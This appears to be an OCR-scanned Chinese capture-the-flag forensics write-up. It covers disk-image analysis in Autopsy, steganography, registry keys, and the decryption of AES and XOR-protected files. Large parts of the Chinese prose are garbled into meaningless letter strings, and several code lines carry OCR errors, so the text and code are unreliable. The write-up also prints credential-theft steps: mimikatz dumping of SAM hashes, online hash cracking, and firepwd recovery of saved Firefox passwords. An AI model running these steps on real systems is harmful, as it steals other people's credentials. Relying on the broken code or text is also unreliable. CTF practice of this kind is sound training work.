REAEER01.png, BXTZERAAFAMRERR, REEEXMHR01, BEENGEAEEENRE
ANREERPIENML (PINEERN 0L, BN 1M)  &REANERHN0, BBA1, BIEE
S

from PIL import Image

def image_to_bits(image_file):


af://n1209
af://n1210

img = Image.open(image_file).convert("1l™)
width, height = img.size
bits = ""

for y in range(height):
for x in range(width):
bits += '0' if img.getpixel((x, y)) == 0 else '1' # ONEfM, 1L hAM

return bits

def bits_to_text(bits):

text = ""

for i in range(0, len(bits), 8):
byte = bits[i:1 + 8]
if len(byte) < 8: # AFAEBMMITHN

break

text += chr(int(byte, 2))

return text

def decrypt_image_to_text(image_file, text_file):
bits = image_to_bits(image_file) # MEMGTHE A
text = bits_to_text(bits) # ¥ il iy A

with open(text_file, 'w', encoding='utf-8') as file:
file.write(text)

image_file_path = "0l.png"
text_file_path = "test"

decrypt_image_to_text(image_file_path, text_file_path)

ez, RERMtestHRFER 8950447 3k, BBEMIpngsk, REFEHHR16HHIEIE,
KHpngfaBREEIZRI/I: | |SUP3RP422WORDA/??.&& , IXFEE key.zip B9ZRS, SAMR010F]FF key XX
HRIBIEEERRIE, baseodffZ5%: stl stl stl, EZEAI STL (STereoLithography, il
Z) 3D AR, XEIFRSTLAFMERA80NFET, TietARBE T, ALARFEEME
IRIDERS IR, M TREERIELMLL: https://www.3dpea.com/cn/view-STL-online £FTFF N8
key:sSeCre7KeY?!l@$

LAtbkeyZExor FflagSZ4HSEI—PMwaviZ s (BEwplIRHRAIIERIEERZE— N EEwav{FFakflag
HiEEZRkey T, tql) , RIERBRAIAMRTRKEIE: https:/sumit-arora.medium.com/audio-
steganography-the-art-of-hiding-secrets-within-earshot-part-2-of-2-c76b1be719b3, #EEIIHFHY
IsbfeE, RIBEMAMEZEIASEIflag: DOg3xGC{U_4rE_4_WhI2_4t_Ste9An09r4pHY}



https://www.3dpea.com/cn/view-STL-online
https://sumit-arora.medium.com/audio-steganography-the-art-of-hiding-secrets-within-earshot-part-2-of-2-c76b1be719b3

Just_FOr3n51Cs

E—1E01, HXEBERARRautopsyREE, BAEEIEEENREE, WA B#Abeginning, RiZ

=flagi

o wol2 (NTFS / exFAT (0x07): 2048-4194099°

-y $OrphanFiles (1420)
- |L $Extend (8)

- L) $Recycle.Bin (3)
-\ $Unalloc (10}

M- | Boot (32)

|0 PerfLogs (3)
.\ Program Files (20)

A ProgramData (15)
Iy Recovery (3]

ey WO SO OO e O s WO

m

1) Users (8)

[ ANl Users (2)

= [Jl DOg3xGC (32)
B- L AppData (5)

- |\ Contacts (4)
-~ |1 Cookies (2)
8
H- | Documents (6)
-l Downloads (3)
- [\ Favorites (8)
<Ll Links (8)

- Lh Music (3)

|l Documents and Settings (2)

.\ Program Files (x86) (17)

.\ System Volume Information (14)

-\ Application Data (2)

Listing |

img_change2_true.E01/vol vol2/Users/D0g3xGC/Desktop
Table Thumbnail Summar

MName 5 C

.\ [current folder]
! [parent folder]

beginning.pcapng

i desktop.ini

Modified Time

2024-12-05 20:00:21 C5T
2024-12-05 17:31:06 C5T
2024-12-05 18:23:44 CST
2024-12-05 17:09:50 C5T

Change Tim
2024-12-05 .
2024-12-05°
2024-12-05
2024-12-05°

-0 Local Settings (2)

- [l My Documents (2)

REHSR, FTHRIBtcpELHMMY, EBoicqifi, FEQQRIMY, SFTREE—1Npg, 0108FH
YHERMNBZREUE, jtl—Hbase6d, AEE—HINIEBHIEIE, Stbase64f#iBf515%E] oursecret
is DOg3xGC , JEMINZRIEIERoursecretfa 5T, A D0g3xGC fEZ{5%Ihidden.txt, AAE

ECB's key is
N11c3TryY6666111
TCAF 2 FRAKRK = 1) s 2

RBRREQQ=(E, F— Toicat¥+HIQQS

*» User Datagram Protocol, Src Port: B@@8, Dst Port: 4885

v 0ICQ - IM software, popular in China

Flag: Oicg packet {@x82)
Version: @8x3c43

Command: Receive message (23)

Sequence: 12884
Data(0ICQ Mumber,if sender is client)

» Data:

29351977@

REERQQTAF—FininH/GHAVEX

L I e I o o

[

s e O R R R e O %
[

]
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REAZHESXM/INVEIK, RELRLEXE, L
fr ERIE@IE. IRATIREE TS 7 AR, EAMN
—FHIsIRHRAERE T . AEZEF, MIRR
=HEF, EREERNE, RRMEMARTKE
B, RENRAREZEFREARSF O,
AN ChBHEEEEREE, BRITEREER
REVEENEER Y, RETHEET, HABIUS
EEEOHEXNEIEA, d2FEAFERLED
BRI I AR PRESED, BRBARBITRAT, RN
EN—TMEENEEEIL, RIEENED?

5e19e708fa1a2c98d19b1a92ebe9c790d85d76d
96a6f32ec81c59417595b73ad

5e19e708fala2c98d19b1a92ebe9c790d85d76d96a6f32ec81c59417595b73ad

REEEHZEZflag! . DOg3xGC{YOU_

Recipe S ] Input
9999999999999999999999999999999999999999999999999999999999999999
AES Decrypt

Key
N11c3Tryveesel. UTF8~ v HEX~

Mode n utpu
ECB Hex Raw

Output

g3xGC{Yeu_

BEINETE, IMETE, FMERE c:\windows\system32\config BRT, BEF
SYSTEM\CurrentControlset001\Control\Session Manager\Environment FY¥EXS, &I

u_can_get_flag2_here BYEA— 4



5 (8)

10)

2

Lo}

Listing

Table Thumbnail

MName

SAM.LOG
SAM.LOG1
SAM.LOG2
SECURITY

SECURITY.LOG
SECURITY.LOG
SECURITY.LOG
SOFTWARE

 SYSTEM

SYSTEM.LOG
SYSTEM.LOGT
SYSTEM.LOG2

img_test_1.E01/vol_vol2/Windows/System32/config

Summary

1
2

SOFTWARE.LOG
SOFTWARE.LOG1
SOFTWARE.LOG2

0O Madified Time
2011-04-12 23:01:00 CST
2024-12-02 22:04:29 CST
2009-07-14 10:34:08 CST
2024-12-02 22:15:15 CST
2011-04-12 23:01:00 CST
2024-12-02 22:15:15 CST
2009-07-14 10:34:08 CST
2024-12-02 22:23:03 CST
2011-04-12 23:01:00 CST
2024-12-02 22:23:03 CST
2009-07-14 10:34:08 CST
2024-12-02 22:20:38 CST
2011-04-12 23:00:47 CST
2024-12-02 22:20:38 CST
2009-07-14 10:34:08 CST

Change Time Acces
2024-12-02 21:41:11 CST - 2011-
2024-12-02 22:04:29 CST  2009-
2024-12-02 22:04:13 C5T  2009-
2024-12-02 2211515 CST - 2024-
2024-12-02 21:41:11 CST  2011-
2024-12-02 22:15:15 C5T  2009-
2024-12-02 22:04:13 CST  2009-
2024-12-02 22:23:03 CST  2024-
2024-12-02 21:41:12 CST  2011-
2024-12-02 22:23:03 CST  2009-
2024-12-02 22:04:13 CST  2009-
2024-12-02 22:20:38 CST  2024-
2024-12-02 21:41:12 CST - 2011-
2024-12-02 22:20:38 CST  2009-
2024-12-02 22:04:13 CST  2009-

Hex Text Application File Metadata OS Account Data Artifacts Anazlysis Results Context

Annotations Other Occurrences

tesNNGOIBIIILIOILLS

E-" DOS Devices
-7 Environment

ComSpec

FP_NO_HOST CHECK
NUMBER_OF PROCESSORS
os

Path

PATHEXT
PROCESSOR_ARCHITECTURE
PROCESSOR_IDENTIFIER
PROCESSOR_LEVEL
PROCESSOR_REVISION
PSModulePath

TEMP

TMP

u can get f

USERNAME

4

P'Meiadata

Name: u_can_get flag2 here
Type: REG_SZ

CValue

C:\Program Files (x86)\Internet Explorer\SIGNUM2

REIEINag2fIE, TTLUBERIE N zip, BEUE



SIT AUU UL SUUTLE SR 1Ay e VIUEUS g WUIIIUIILauOns W WSUIOLENUI. oo TNEINE g DISLOVETY || GSHETAE NEPUTL g LIUsE Last - “r vy

—
& a Listing
= B Data Sources img_test_1.E01/vol vol2/Program Files (x86)/Internet Explorer/SIGNUP
&-I§ test 1.£01_1 Host Table  Thumbnail Summee
= &2 test 1.E01
voll (Unallocated: 0-2047)
vol? (NTFS / exFAT (0x07): 2048-4104009° Name S € 0O Meodified Time Change Time Access Time

-y $OrphanFiles (1763) L [eurrent folder] 2024-12-02 22:07:05 CST  2024-12-02 22:07:05 CST  2024-12-02 22:07:05 ¢
g b $Extend (B) L\ [parent folder] 2011-04-12 22:45:57 CST  2024-12-02 21:41:12 CST

2 SRecydleBin () B2 || | [2024-12-022147:18 ST [2024-12-02 22:07:05 ST

[‘LL: :ir{:l::;)“m installins 2010-11-21 11:26:54 CST  2024-12-02 21:40:12 CST

- [\ Documents and Settings (2)

& (1 PerfLogs (3)

G L\ Program Files (20)

=+ (1! Program Files (xB86) (16)

i [J) Common Files (6)

= [l Internet Explorer (22)

L\ en-Us (6)

L\ SIGNUP (4)

L zh-CN (7)

i | [l Mozilla Maintenance Service (6)
e[, MSBuild (3)

i1, Reference Assemblies (3)

L Uninstall Information (2)
e |l Windows Defender (7)
L Windows Mail (11)
H- L Windows Media Player (21) Hex Text Application File Metadata OS Account Dsta Art Analysis Results Confext Annotations Other O
#- L Windows NT (4) Page: 1 of 1 Page Go to Page: |1 Jump to Offset s
i | Ll Windows Photo Viewer (8)
-4l Windows Portable Devices (3) 0x00000000: 50 4B 03 04 14 00 0% 00 63 00 ED 79 71 59 29 F2
=10 Windows Sidebar (9) 0x00000010: B8 E4 4D 00 00 00 35 00 00 00 05 00 OB 00 66 6C
i ()l ProgramData (15) 0x00000020: 61 67 32 0L 99 07 00 01 00 41 45 03 08 00 A5 DA
@ [} Recovery (3) 0x00000030: 72 OC 09 09 EB 60 5E 96 14 B 32 01 D3 CB D3 02
@ [J System Volume Information (14) 0x00000040: 7D 48 O 67 B4 B8 IC F7  1F 54 BY ED 94 60 72 CF
G Users (@) 0xD00DODS0: A7 4C 40 B8 CD 90 C7 87 04 BE 97 66 31 4F AT 38
i 0=HO000060: FB 74 7F 28 Fc 74 18 85 B2 F7 c3 BA B3 95 ED 94
&b Windows (87) 0x00000070: 44 E8 50 D0 CD ED 2D 61 C4 2B 41 50 4B 07 08 28
vol3 (Unallocated: 41940992-41943039) 0x00000080: F2 88 B4 40 00 00 00 35 00 00 00 50 48 01 02 1F
1@/ File Views 0x00000090: 00 14 00 03 00 63 00 ED 79 71 50 2 F2 88 B4 4
File Types 0x000000=0: 00 00 00 35 00 00 00 05 00 2F 00 00 00 00 00 00
¥ Deleted Files 0x00000060: 00 20 00 00 00 00 00 00 00 66 6C 61 B7 32 04 00
ME Eile Size 0x000000c0: 20 00 00 00 00 00 01 00 18 00 13 F8 39 7A o0 38
- - - NeNNNNNNAN- NR N1 RAE AN 2R RN 2R 472 nr N1 4n 9% N7 74 M IR

BN ESARF I LIER R

1. iFEHLAEM R E AP 2 (EEER: Bo6)

2. WENLARHRE R RN A RR, B FRILAE (R windows_Server_2016)
3. HHENLYRETZHER Mozilla Firefox WIMAMIRAS, (#E—hih (BxkE: 91.0)

A ES A% H% . BO6_Windows_Server_2016_91.0

FEMEREBGIE, JFEMERSULTE c: \windows\System32\config BRT

BE—NEEZEFMEHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion®
A9 RegisteredOwner AY§#{&E D0g3xGC



(9

rs (8)

s (2)

O

Listing |

img_change2_true.E01 jvol_vol2/Windows/System32/config

Table Thumbnail Surmmar

Mame S C
DEFAULT

DEFAULT.LOG
DEFAULT.LOG1
DEFAULT.LOG2
SAM

SAM.LOG
SAM.LOG1
SAM.LOG2
SECURITY

SECURITY.LOG
SECURITY.LOG1
SECURITY.LOG2
SOFTWARE

SOFTWARE.LOG
SOFTWARE.LOG1

Modified Time

2024-12-05 17:35:10 C5T
2011-04-12 23:01:00 CST
2024-12-05 17:35:10 CST
2009-07-14 10:34:08 CST
2024-12-05 19:59:37 C5T
2011-04-12 23:01:00 CST
2024-12-05 19:59:37 CST
2009-07-14 10:34:08 CST
2024-12-05 17:34:50 C5T
2011-04-12 23:01:00 CST
2024-12-05 17:34:50 CST
2009-07-14 10:34:08 CST
2024-12-05 19:59:25 CST
2011-04-12 23:01:00 CST
2024-12-05 19:59:25 CST

Change Time

2024-12-05 17:35:10 C5T
2024-12-05 17:05:56 CST
2024-12-05 17:35:10 CST
2024-12-05 17:23:21 CST
2024-12-05 19:59:37 C5T
2024-12-05 17:05:56 CST
2024-12-05 19:59:37 CST
2024-12-05 17:23:21 CST
2024-12-05 17:34:50 C5T
2024-12-05 17:05:56 CST
2024-12-05 17:34:50 CST
2024-12-05 17:23:21 CST
2024-12-05 19:59:25 CST
2024-12-05 17:05:56 CST
2024-12-05 19:59:25 CST

Access Tir
2024-12-0
2011-04-1
2009-07-1.
2009-07-1.
2024-12-0
2011-04-1
2009-07-1.
2009-07-1.
2024-12-0
2011-04-1
2009-07-1.
2009-07-1.
2024-12-0
5011 -04-1
2009-07-1.

Hex

Text Application File Metadata OS Account Data Artifacts Ana ysis Results

0

Context Annotations Other Occurrences

=7 WBEM

* WIMMount
— Windaws
_ Windows Defender

_ Windows Desktop Search

~ Windows Mail

_ Windows Media Device Manager
_ Windows Media Foundation

_ Windows Media Player NS5

_ Windows Messaging Subsystem
—_ Windows NT

_ Windows Portable Devices
~ Windows Script Host |
_ Windows Search

— Wisp

4

"Metadata

Name: CurrentVersion
Number of subkeys: 72

Number of values: 21

Modification Time: 2024-12-05 09:34:30 GMT+00:00

rValues
Name Type Value
CurrentVersion REG_S7 6.1
CurrentBuild REG 5Z 7601
SoftwareType REG SZ System
CurrentType REG 57 Multipracessor Free
InstallDate REG_DWORD | 0x67516dd0 (1733389776)
Registeredﬂrianization REG 57 value not set)

ystemRoot RI:(JSL CihWindows

InstallationType REG 57 Client

BTANE =R FAAERHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersionsa
B9 ProductName B95#(E windows_7_uUltimate



32 (2896)
1@
ancedlnstallers (8)
A9)
G ()
@
oot (4)
oot2 (16)
elntegrity (4)
(v}
ig (40)
ournal (2)
tegBack (17)
ystemprofile (10)
xR (3)
Z(9)
K (@)
JE (9)
n (20)
ars (310)
erStore (11)
'STORE (6)
R (9)
2)
15 (273)
s (9
E(@
()]
(9
mp (2)
apPolicy (2)
apPolicyUsers (2)
L(9)
IR (7)
U (@
3)
nl (7)
@
srv (2)
2
(@)
R (@
Files (10)
@
@

e}

—

img_ftk test.E01/vol vol3/Windows/System32/config
Table Thumbnail Surmiman

DEFAULT.LOG
DEFAULT.LOGT
DEFAULT.LOG2
SAM
SAM.LOG
SAM.LOG1
SAM.LOGZ2
SECURITY
SECURITY.LOG
SECURITY.LOG1
SECURITY.LOG2
SOFTWARE
SOFTWARE.LOG
SOFTWARE.LOG1
SOFTWARE.LOG2
SYSTEM
SYSTEM.LOG
SYSTEM.LOG
SYSTEM.LOG2

% COMPONENTS{016888b9-6c6f-11de-8d1d-00

¥ TxR

MName s C

Modified Time
2011-04-12 23:01:00 CST
2024-11-29 19:00:05 CST
2009-07-14 10:34:08 CST
2024-11-29 21:02:44 CST
2011-04-12 23:01:00 CST
2024-11-29 21:02:44 CST
2009-07-14 10:34:08 CST
2024-11-29 19:00:15 CST
2011-04-12 23:01:00 CST
2024-11-29 19:00:15 CST
2009-07-14 10:34:08 CST
2024-11-29 21:34:57 CST
2011-04-12 23:01:00 CST
2024-11-29 21:34:57 CST
4 10:34:08 CST
-20 21:32:18 C5T
2011-04-12 23:00:47 CST
2024-11-29 21:32:18 CST
2009-07-14 10:34:08 CST
0000-00-00 00:00:00
0000-00-00 00:00:00

Change Time

2024-11-29 13:43:
2024-11-29 1
2024-11-29 1
2024-11-29 21:02:

33 CST
5 CST
CsT

2024-11-29 21:02:
2024-11-29 16:
2024-11-29 19:00:15 CST
2024-11-29 15:43:33 CST
2024-11-29 19:00:15 CST
2024-11-29 16:11:54 CST
2024-11-29 21:34:57 CST
2024-11-29
2024-11-29 21:
2024-11-29 1
2024-11-29 21:32:18 CST
2024-11-29 15:43:34 CST
2024-11-29 21:32:18 CST
2024-11-29 16: 4 CST
0000-00-00 00:00:00

0000-00-00 00:00:00

Save T

Access Time

2011-04-12 23:01:00 CS

4-12 23:01:00 C5°
10:34:08 CS°

2024-11-29 16:
2011-04-12 23:01:00 CS
2009-07-14 10:34:08 C5”
2009-07-14 10:34:08 C&”
2024-11-29 16:11:54 C§
2011-04-12 23:01:00 CS
:34:08 CS°
10:34:08 C5°
54 C57
2011-04-12 23:00:47 CS
2009-07-14 10:34:08 C&”
2009-07-14 10:34:08 C&”
0000-00-00 00:00:00

0000-00-00 00:00:00

Data Content

Hex Text Application File Metadata OS Account Data Artifacts “ralysi

Occu

Annotations  Other

— Windows

Windows Defender

~ Windows Desktop Search

Windows Mail

Windows Media Device Manager

~ Windows Media Foundation

_ Windows Media Player NSS 1
Windows Messaging Subsystem

= Windows NT

AdaptiveDisplayBrightness

A_Fob

Pl

)

Name: CurrentVersion
Number of subkeys: T3
Number of values: 21

Modification Time: 2024-11-29 08:10:37 GMT+00:00

Values

Name
EditionlD
ProductName
Productld

Type

00426-292-0000007-85244

DigitalProductld

A4 00000003 00000030303432362D:

MinitalDrn A+l AA

BES DIN

EQ NA_NN NN CNA AN AN NN 20 0020 0N 24 002

B 115.0

19 (2)
rancedlnstallers (8)
SA ()

BG (7)

ot (7)

root (4)

root2 (9)
delntegrity (4)
n (100

ifig (35)
Journal (2)
RegBack (7)
systemprofile (10)
T=xR (9)

L9

DK (9)

DE (9)

m (20)

rers (310)
verStore (17)
VSTORE (6)
3R (%)

(2)

Us (275)

ES (%)

EM@

]

R (9)

Tmp (2)
wpPolicy (2)
wpPolicyUsers (2)
IL (9)

HR (7]

HU (9)

3

wml (7)

]

tsrv (2)

ria

lable Thumbnail Summary

Name 5
SAM.LOG
SAM.LOGT
SAM.LOGZ
SECURITY
SECURITY.LOG
SECURITY.LOG1
SECURITY.LOG2
SOFTWARE
SOFTWARE.LOG
SOFTWARE.LOGT
SOFTWARE.LOG2
SYSTEM
SYSTEM.LOG
SYSTEM.LOGT
SYSTEM.LOG2

Analvzina files from ftk testE01 I

FEANEERIFMERHKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox®fJCurrentVersion

Modified Time
2011-04-12 23:01:00 CST
2024-12-02 22:04:29 CST
2009-07-14 10:34:08 CST
2024-12-02 22:
2011-04-12 23
2024-12-02 22:15:15 CST
2009- 4 10:34:08 CST
2024-12-02 22:23:03 CST
2011-04-12 23:01:00 CST
2024-12-02 22:23:03 CST
2009-07-14 10:34:08 CST
2024-12-02 22:20:38 CST
2011-04-12 23:00:47
2024-12-02 22:20:38 CST
2009-07-14 10:34:08 CST

Change Time

2024-12-02 21:41:11 C5T
2024-12-02 22:04:29 CST

2024-12-02 22:0
2024-12-02 22
2024-12-02 21
2024-12-02 22:

2024-12-02 22:04:13 C5T
2024-12-02 22:23:03 CST
12 CST
2024-12-02 22:23:03 CST
2024-12-02 22:04:13 C5T
2024-12-02 22:20:38 C5T
12 CST
2024-12-02 22:20:38 CST
2024-12-02 22:04:13 CST

2024-12-02 21

2024-12-02 21:

4%

[l (31

Access Time

2011-04-12 23:01:00
2009-07-14 10:34:08
2009-07-14 10:34:08
2024-12-02 22
2011-04-12 23
2009-07-14 10
2009-0 10:34:08
2024-12-02 22:04:13

A

2011-04-12 23:01:00
2009-07-14 10:34:08
2009-07-14 10:34:08
2024-12-02 22:04:13
2011-04-12 23:00:47
2009-07-14 10:34:.08
2009-07-14 10:34:08

Hex Text Application File Metadata OS Account Data Artifacts Anzlysis Results Contest

Annctations Other Occurr

CMI-CreateHive{199DAFC2-6F16-4946-BF90-5A3FC3AI
__ ATl Technologies

CBSTEST

Classes

Clients

— Intel

~ Microsoft

Mozilla

_ Firefox

~ MaintenanceService
M, Firefox

"~ 115.0 (x64 zh-CN)

# (Default)

# CurrentVersion

_ Mozilla Firefox 115.0

morzilla.org

H
3}
2}
3}
3}
2}
=

Pl
M

q

Name: Mozilla Firefox
Number of subkeys: 1
Number of values: 2
Modification Time: 2024-12-02 14:16:57 GMT+00:00

Values

Name

Default)

Type

Value

| REG 57| 115.0

CurrentVersion | REG SZ | 115.0 (x64 zh-CN) |

WA EYEE 59 D0g3xGC_Windows_7_ultimate_115.0 , {5ZIZZ



#O~AHAAAAA==WATLYPb/PQ@#0&4* .2 {W! | x [MFC& | OACAAA==A#~@

RvberIiEx, W TEREE:

flag2 is
h4v3_fO0und_7H3_

fRiBautopsylIBENSHT, FHEMINZEAIOriginal_is_here.zip

(—
Setup (3)
ShellNew (3)
SoftwareDistribution (9)
Speech (4)
system (2)
System32 (2902)
SysWOWB4 (2424)
[l TAPI (3)
[l Tasks (4)
w1 Temp (24)
- [ tracing (2)
[l twain 32 (3)
m- [l Vss (3)
w1 web (3)
-1 winsxs (11706)
-1 zh-CN (12
. vol3 (Unallocated: 41940992-4194303
@ File Views
m- & File Types
" ¥ Deleted Files
- MB File Size
. Data Artifacts
~%] Installed Programs (34)
- Metadata (3)
Operating System Information (1)

HEEEEEE

Recent Documents (9)
Run Programs (63)

Shell Bags (13)

USE Device Attached (6)
Web Bookmarks (25)
Web Cookies (23)

Web Downloads (1)
Web Form Autofill (2)
Web History (1673)

----- & Web Search (1)

-G, Analysis Results

- [ |[Encryption Detected (1) |
~[ZJ} Encryption Suspected (1)
~ @ EXIF Metadata (8)

- = Extension Mismatch Detected (1)

REFIHFENER TRMEE M png

P[] @ W T 2 X (@

o

Listing

ps://master.ayra.ch/vbs/vbs.aspx, fFZ15E|flag2

Encryption Detected

Source Name

Table Thumbnail Summar

3

Source Type Score Conclusi

T N N

Hex Text Application

File Metadata OS5 Account Dafa Arfifacts

loading...



https://master.ayra.ch/vbs/vbs.aspx

img_test_3.E01/vol_val2/Users/D0g3xGA/Pictures

E| vmware-D0g3xGA (3) Table Thumbnail

¢ Bk VMwareDnD (5)

o =l 4721deat (3)
. By Original is t I ,
S X Driginalls_ Name 5 c o Madified Time Change Time
-4 8947801 (2)

Lo [1l B9ceeen? 2 L [current folder] 2024-12-04 14:26:53 CST

~[J} WPDNSE (2) I [parent folder] 2024-12-0 12 CST

[} (27878D8E-FBBI-4AF: | | ||H) CatWatermark 666.png | 1 2024-12-04 14:25:04 CST

© Temporary Internet Fles desktopini 3 2024-12-02 21:44:46 CST

- L VirtualStore (2) L .
EE Original_is_here.zip (1] 3 2024-11-26 18:45:05 CST

@ | L Locallow (3)
- | Roaming (&)
- |0 Application Data (2)
- |40 Contacts (4)
- |0 Cookies (2)
- |4 Desktop (5)
- | Documents (8)
.. Downloads (3)
-l Favorites (8)

. Links (6)
- |l Local Settings (2)

L Music (3)
- |0 My Documents (2)
- |4 NetHood (2)

& #8 Original is_herezip (1)
- | L PrintHood (2)

.. Recent (2)
- |0 Saved Games (3)
Searches (91

T —TCatWatermark, HEIMB: https://github.com/Konano/CatWatermark, BINZEFIFEZH
K, RIBEEHARESEENzZpHRREE, 666MEE=1F A2, BEEMERHNRE, &WzipiEE
=]

1. tFENUH " DOg3XGCHE K %0 (B %% : al23456+)
2. TK'5D0g3xGC@qq . comZstotterct FRIubT (& (%M PASSword)
AR %k 0: al23456+_PA55word

F—MUERIREE (/Windows/System32/config) AAY SYSTEM #1 SAM X4, BRImimikatzig
Ea%

privilege::debug /7 BENFRRURRE
Tsadump::sam /system:"E:\SYSTEM" /sam:"E:\SAM"

BEEZE https://www.cmd5.com/ EfFZBE] quel23 ! @#

FNBXIM—NEUE (ERAISRIaxiomBEEER) , EkFlkey4.dbFlogin.json, AILATE
C:\Users\D0Og3xGA\AppData\Roaming\MoziTTla\Firefox\Profiles\414ulhob.default-release

BRTE, kBB lirewdfi#ZB0a]

python firepwd.py logins.json


https://github.com/Konano/CatWatermark
https://www.cmd5.com/

3
SEQUENCE {
OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256—-CBC

OCTETSTRING b'673a6UbB16U9U25927a78+bbc5dl "
1
3

}
}

OCTETSTRING b'@ab63faa5b2u58fela3b26F2fbacf23568a2103edbc2192a58a13e5749695
1
L]
clearText b'dBabl6262c792ae07658e368196U1673batd7+6d76cl7+dc0808080803030808"
decrypting login/password pairs
https://otterctf.com:b'DPg3xGCRgq.com’ ,b'YBu_f1Nd"_"m3_233"

HEFEE RS qwel23 ! @#_yOu_fiNdA_Am3_233 , 8% Original.png Rt LAE AN E IR HIA
e

python decode.py Original.png Catwatermark_666.png extracted_watermark.png 6 6 6

5%flag3: FIN4L_s3CR3t_OF_Th15_

there is your flag3:

F1N4L_s3CR3t OF Th15_

BB R FAILUEEIE lagdzip

Add Data Source @ Images/Videos gy Communications v Geolocation : Timeline 4 Discovery Generate Report | g Close
Directory Tree — W
& o) Vimg_change3_true.E01/vol_val2/Users/D0g3xGC
e Table Thumbnail

+ .. ProgramData (15)

+ .. Recovery (3)

+ L System Volume Information (14) Mame 5 C 8] Modified Time

: Users (8) || Recent 5 NG

i All Users (2 L) Saved Games 2 7
| Default (30) " |\ Searches 2
Default User (2) + SendTa 20 7
Public (12} L. Templates 2 7
= [J) Windows (89) 1 Videos 2 7
vol3 (Unallocated: 41940992-41943039
3@/ File Views [ ] ; [%J = .
IS I )
+ ¥ Deleted Files NTUSER.DAT -
+-MB File Size ntuser.dat.LOG1 2 7
B E Data Artifacts ntuser.dat.LOG2 2 7
X Installed Programs (34) NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e 2 2 7
-4/ Metadata (3)
B8 Operating System Information (1) MTUSER.DAT{0165888bd-6c6f-11de-8d1d-001e 2 7
- ¥ Recent Documents (12) NTUSER.DAT{0165888bd-56c6f-11de-8d1d-001e 2 7
= %! Run Programs (51) ntuser.ini 2 !
- Shell Bags (15)
- Eldl USE Device Attached (8)
- 4 Web Bookmarks (25) Data Content
- @ Web Cookies (25) Hex |3 .
Web Downloads (1) ext File Metadata OS Account
Web Form Autofill (2) 00 00 08 00 A ... L ..
- & Web History (1675) 33 AE  OE 00 0B 00 6. .. S, en




REHRERINXNE— 1 pyFIEakHexe, B pyinstxtractor-ng.exe fEEHpy B ERIRF
XA py XFFR AT LAE R pythonf{iE T

FrlASEpyinstxtractor-ng.exefi#iXMNexe, #HZElenc_png.pycSU, FEEpycRImFEMuLRRIFIXN
pyc{415% ) pythonfXAg:

EZEPython pyc S mIES R HFE (FAXMNEBIpythonhk A, FrLARuncompyle6/z4RiFAIZIER
F—m)

# uncompyle6 version 3.9.1

# Python bytecode version base 3.8.0 (3413)

# Decompiled from: Python 3.6.12 (default, Feb 9 2021, 09:19:15)
# [Gcc 8.3.0]

# Embedded file name: enc_png.py

def xor_encrypt(data, key):
encrypted_data = bytearray()
for i in range(len(data)):
encrypted_data.append(datal[i] A key[i % len(key)]1)
else:
return encrypted_data

def read_file(file_path):
with open(file_path, "rb") as file:
data = file.read()
return data

def write_file(file_path, data):
with open(file_path, "wb") as file:
file.write(data)

def encrypt_file(input_file_path, output_file_path, key):
data = read_file(input_file_path)
encrypted_data = xor_encrypt(data, key)
write_file(output_file_path, encrypted_data)

if _name__ == "_main__":
key = b'GCcup_wAngwaNg!!'
input_file = "flag4.png"
encrypted_file = "flag4_encrypted.bin”
encrypt_file(input_file, encrypted_file, key)

BERXANIN RIS, BERBTA, MRRNX D pngXH#TT—METRRE, REfkeyth
BRGEHT, UEREHAX N EFEHEERALLT (ERIERECSRIbInXHHKER) -

import os
def xor_encrypt(data, key):

decrypted_data = bytearray()
for i in range(len(data)):


https://github.com/pyinstxtractor/pyinstxtractor-ng/releases/download/2024.08.25/pyinstxtractor-ng.exe
https://www.lddgo.net/string/pyc-compile-decompile

decrypted_data.append(datal[i] A key[i % len(key)]1)

return decrypted_data

def read_file(file_path):

with open(file_path, 'rb') as file:
data = file.read()
return data

def write_file(file_path, data):

def

if

=E1E

with open(file_path, 'wb') as file:
file.write(data)

data = read_file(input_file_path)
decrypted_data = xor_encrypt(data, key)
write_file(output_file_path, decrypted_data)

__hame__ == '_main__
key = b'GCcup_wAngwaNg!!"'
encrypted_file = "flag4_encrypted.bin"
decrypted_file = "flag4_decrypted.png"

decrypt_file(encrypted_file, decrypted_file, key)

Fllflagd: FOR3N51c5_ch4L13N93}

decrypt_file(input_file_path, output_file_path, key):

FOR3N51c5_Ch4LI3N93}<

Ex#&flag: D0g3xGC{YOu_h4V3_fOound_7H3_F1N4L_s3CR3t_OF_Th15FOR3N51c5_Ch4LI3N93}

Tr4fflc_ w1th_Ste90

FIFRERLKINBREZUDPH,

3Zx
I

ERTLURIMERSIUEMPEG-TS, 4RASHETU/oH.264, BBERAYEts

& B R PIRE2obsRHEIAIINSN, obsREIRIHSRBNARIEESNAMKY, SBREHM R HEE
BRI, KRR EEIRImKvEIRT

>
>
>
>
>
>
>

>

J220

5555
5555
5555
5555
5555
5555
5555
5555

228 video-stream
1584 63846 -+ 5555
1884 63846 -+ 5555

488 video-stream

596 630846 -+ 5555

A5 UL UUUIT IS LLf WL L LS WL wur AU DaueU
15 ©.601022 127.0.0.1 127.0.0.1 UDP 1584 63046
16 ©.601054 127.0.0.1 127.0.0.1 UDP 324 63046
17 ©.085731 127.0.0.1 127.0.0.1 UDP 1584 63046
18 ©.805796 127.0.0.1 127.0.0.1 UDP 816 63046
19 0.067415 127.0.0.1 127.0.0.1 MPEG.. | 408 63046
20 0.087525 127.0.0.1 127.0.0.1 H.264 | 596 63046
21 ©.807576 127.0.0.1 127.0.0.1 UDP 1584 63046
22 0.0087611 127.0.0.1 127.0.0.1 UDP lee4 63046
23 0.007654 127.0.0.1 127.0.0.1 H.264

24 0.0912426 127.0.0.1 127.0.0.1 UDP

25 0.012499 127.0.0.1 127.0.0.1 UDP

26 0.012548 127.0.0.1 127.0.0.1 MPEG...

27 ©.915714 127.0.0.1 127.0.0.1 H.264

28 0.016022 127.90.0.1 127.9.0.1 UDP

1584 63846 » 5555

LEll— L5 7 £
Len=1472
Len=292
Len=1472
Len=784
Len=376 [MP2T fragment of a re
Len=564 Program Association Ta
Len=1472
Len=972

[MP2T fragment of a reassembl
Len=1472
Len=972

[MP2T fragment of a reassembl
Len=564 Program Association Ta
Len=1472

